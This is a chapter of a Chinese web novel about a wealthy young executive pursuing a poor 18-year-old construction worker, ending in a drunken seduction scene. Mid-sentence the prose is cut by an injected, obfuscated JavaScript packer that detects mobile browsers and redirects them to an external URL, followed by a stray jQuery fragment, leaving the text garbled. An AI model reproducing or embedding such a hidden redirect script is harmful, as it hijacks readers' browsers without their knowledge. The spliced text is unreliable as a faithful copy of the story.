6. 第 6 章

作品:《霸总不满意这门婚事

    06


    景榷对小叶有了想法,这种感觉太奇妙了,景榷21年的人生里都没有经历过。他虽然黄,但仅限于口嗨,别看永庭传媒那么多俊男靓女,他对着谁都没有此时想小叶的感觉。


    但是,小叶和他的人生轨迹截然不同。


    更麻烦的是,小叶还是个小孩儿。


    搞小孩儿,这太禽兽了。覃洲都干不出这种事。


    “哎——”景榷烦恼地抱住头,觉得自己栽了,喜欢谁不好,要喜欢小叶,一桶虫草汤就把他收买了,他可真是太有出息了。


    以为冷静两天一切就会回到正轨,景榷一头扎进片场,把眼睛放在覃洲身上,一个余光都不给工地。


    他一个来探班的总裁,看专注了还要发表意见,狗屁不通地点评覃洲,要求覃洲多拍几条,比以严格著称的导演还严格。


    导演起初见他年轻,对他不太看得上,这下见他这较真劲儿,当即将他视作知音,两个忘年交激情讨论起来,覃洲叫苦不迭。


    苗助理拿来泡的虫草水献宝,“覃哥,喝点这个,景总就是喝了这个,你看他精神多好,跟个猴儿似的。”


    景榷和导演拜完把子,心情甚好,暗恋那点破事带来的百转千回一扫而空。干大事的人不可囿于小情小爱,平时口嗨两句就算了,真谈?他景总没这工夫!


    但景榷刚意气风发走出片场,就看见小叶抱着褪色保温桶站在树下。


    景榷眉头一拧,不是,你怎么又来了?


    平息下去的百转千回猛地打了个回头浪,搅得景榷一阵心花怒放。


    “你……找我啊?”景榷像是背了块磁铁似的,脚不听使唤朝小叶走去。


    “嗯,”小叶将保温桶递给景榷。


    景榷打开一条缝,汤的香味溢出来,他咽了咽唾沫,装作不在意,“谢谢哦。”


    小叶点点头,也不多说什么,转身就要走。


    “等等。”景榷看见小叶额头上细密的汗水,“你是不是等了我很久啊?”


    小叶只说:“没事。”


    景榷头脑一热,抓住他的手臂,“要不,你跟我一起吃吧。”


    小叶回过头,似乎想说点什么,景榷抢先道:“你炖这么多,我也吃不完,浪费。”


    民宿离片场不远,景榷一路拉着小叶过去,把小叶按在自己平时办公的地方。小叶不自在地看着周围,景榷一边倒汤一边偷看他,一不小心就倒洒了。


    还是小叶手脚麻利,迅速拿纸擦干,“我来吧。”


    今天用来炖虫草的是胡萝卜牛肉,景榷将大多数牛肉都分到小叶碗里,小叶皱着眉要拨回来,他连忙说:“我有点腻,只想喝汤,正好你帮我吃肉。”


    小叶不吭声地吃了会儿,忽然说:“是不是不合你胃口?”


    景榷已经将汤喝完了,给小叶看碗底,“这还叫不合胃口?”


    小叶唇角明显扬了扬,又被他自己用力抿回去。景榷被可爱到了,可又觉得无奈,小叶怎么不能年纪再大点呢?这样自己出手就没有负罪感了。


    小叶吃东西很快,把碗筷都收拾好,“我回去干活了。”


    景榷看着他走,越发蠢蠢欲动。


    好歹是个总裁,好歹被叫了那么多年黄宝,怎么就不能强抢民工,把黄宝落实一下?


    虫草汤虫草水太补,雪云镇的夏天太躁,景榷端着一肚子坏水开车去了镇里的商业街。


    “老板又来啦!”工人们憨厚地打招呼,“哟,这是送给我们的啊?”


    “天热,大家解解暑。”景榷拉了一车水和现打的绿豆汤过来,全都用冰块捂着,冰凉爽口。


    工人们围上来,小叶远远看着,景榷也不招呼他,和工人们一块儿喝绿豆汤,拉近距离。过了会儿,小叶终于走过来,不声不响地拿了袋绿豆汤。


    景榷耳朵在工人们身上,眼睛却跟着小叶。小叶喝完继续扛钢筋,上回说要给景榷介绍自己侄女的工人注意到他老看小叶,找话道:“小叶要是生在个好点的家庭,就没这么苦了。不说多好吧,在我家都比现在强。”


    “他不是成绩很好吗?都考上大学了。”景榷不动声色地打听。


    “好是好,但那是他的本事,我家要是有个这么出息的儿子,我还让他干这苦力?”


    “就是!”另外两个上了年纪的工人跟着附和。


    大部分工人已经回去干活,景榷跟剩下的闲聊。


    他们说,小叶这孩子生来就很苦,没爹没妈,在姑姑家寄人篱下。姑姑没本事,姑父更不是个东西,小叶过的可不是人过的日子。前些年小叶还没成年,周末和假期就得到处打工攒学费,就连高三冲刺阶段,也有人看到小叶给同学跑腿。


    工人很是感叹,“就这都能考上大学,不容易啊!”


    高考结束当天,小叶就进工地了,还给人当家教,做别的活儿。一来成年了,二来有录取通知书,小叶攒钱比以前顺利了许多。


    景榷听得心里一抽一抽的,他们小叶这过的是什么苦日子,难怪那么瘦。但一听到“成年了”三个字,他眼睛立马亮起来,忙问:“小叶真有18岁了?”


    “有啊,我女儿跟他一个班的。”


    景榷眯着眼,后来工人们集体声讨小叶的家人,他没怎么听进去,满心都是小叶不是小孩儿了,他欺负起来不必有负罪感了!


    很明显,小叶对他有好感,不然也不会赶着给他炖汤。你情我愿的关系,等他回去了,给小叶一笔钱,再打听下小叶在哪个城市读书,专业是什么,养小叶一段时间,还可以给小叶解决工作,然后就桥归桥路归路。


    还没真的睡到小叶,景榷就做好了睡之后的规划。


    他跟小叶肯定没有未来的,他也没有很喜欢小叶,不过馋小叶的身子罢了。景自秋联姻联出了真爱,他作为继承人,将来必然坐上联姻这艘船,小叶顶多当他联姻前的床伴,两人各取所需。


    他想得很开。


    “你怎么还在?”蝉鸣聒噪的下午过去,小叶走到景榷的车边。


    景榷盯着他,那眼神多少有些肆无忌惮,不加掩饰。


    小叶抹了下脸,“有东西?”


    景榷还是要亲自确认一下,“你们工地不能雇未成年吧?”


    小叶愣了愣,“我成年了。”


    景榷声音拉得很长,“哦~~!”


    小叶不解,“怎么?”


    “没事。来,帮我把这些箱子口袋扔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289807|166985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掉。”景榷指挥小叶干活,他自个儿养尊处优,不乐意出力,但看见小叶弯腰收拾时耸起的肩胛骨,心里又不大是滋味。


    好瘦,一看就没有被人疼过。


    “还是我来吧。”景榷说。


    “不用。”小叶没让他干,麻利地收拾好了。


    是夜,景榷再次失眠,好不容易睡着,又梦见小叶被欺负得梨花带雨的模样。


    黄梦缠身,景榷那点要命的道德感又上来了。他越是琢磨这事儿,就越觉得自己挺可耻的。小叶成年归成年,但比他小3岁,吃苦吃成这样,还要被他搞。


    扪心自问,设身处地,他要是小叶,他不乐意。


    景榷做了个仗义的决定,他可以试试让小叶搞,反正他也没搞过,他也没经验。


    不管上还是下,这事儿一过,他就不再是嘴上的黄宝了。


    覃洲还要在雪云镇拍很长一段时间,景榷本来觉得时间充裕,可缓缓图之,但永庭有几个要紧的合作等着他回去拍板,他临时飞回朔原市开会签合同赴酒局,看着花花公子们左拥右抱,渐渐不淡定。


    合同一签完,景榷就飞回雪云镇,风尘仆仆直奔工地。一位工人今天50岁大寿,大家凑钱给他过生日,夜色下一群人举着酒瓶,有人眼尖,大声说:“老板!老板也来喝一杯!”


    小叶立即站起来,大约没想到景榷会突然出现。


    喝酒算什么?景榷昨晚才喝了一场,和小叶视线交汇的一刻,压抑着的躁动登时翻滚,他笑着来到小叶身边,拿过小叶的酒瓶,“周哥,生日快乐啊!”


    “喝——”


    深夜,小叶架着景榷回民宿,一点啤酒对景榷来说只是开胃,但他很享受靠在小叶身上的感觉,还得寸进尺,嗅小叶身上薄荷柚子香皂味。


    “景老板,你喝醉了。”小叶轻轻推了他一下。


    “我很清醒。”酒精让景榷异常兴奋,一到房间,他就将小叶按在门上,掐住小叶的下巴。


    小叶的呼吸有些急促,眉毛深深皱起。


    “你才几岁,就老是皱眉。”景榷按住小叶眉间,揉得没轻没重。


    小叶将他不安分的手抓住,“景老板,你喝醉了。”


    “装,还在装。”景榷直了直腰背,圆眼眯起,眼尾长长地飘起,染上酒意的眼中蓦然多了些精明和年长者的傲慢。


    小叶静静地看他片刻,声音比平时低沉,“我装什么?”


    “为什么送我汤?”景榷修长的手在小叶脸颊流连,指尖划过鼻梁,越过下巴,停在喉结上。


    小叶眉心皱得更深了,紧抿着唇,景榷听见他发出一声忍耐的叹息。


    景榷使劲浑身解数,继续撩拨,“你以为你藏得很好?你怎么不给别人送?你早就盯上我了吧?”


    小叶没否认,眼神像是烧了一团火。


    景榷环住他的脖子,在他耳垂上舔了舔,将一个方形塑料片顶在他胸口,喑哑地问:“会吗?”


    那颗年轻的心脏在景榷手指下狂跳,景榷弯着眼,很满意自己对小叶的掌控。但下一刻,他那猫一般的眼睛因为失重陡然睁大,小叶将他抱了起来,他的背结结实实撞在床垫时,他听见小叶在他耳边说:“景哥。”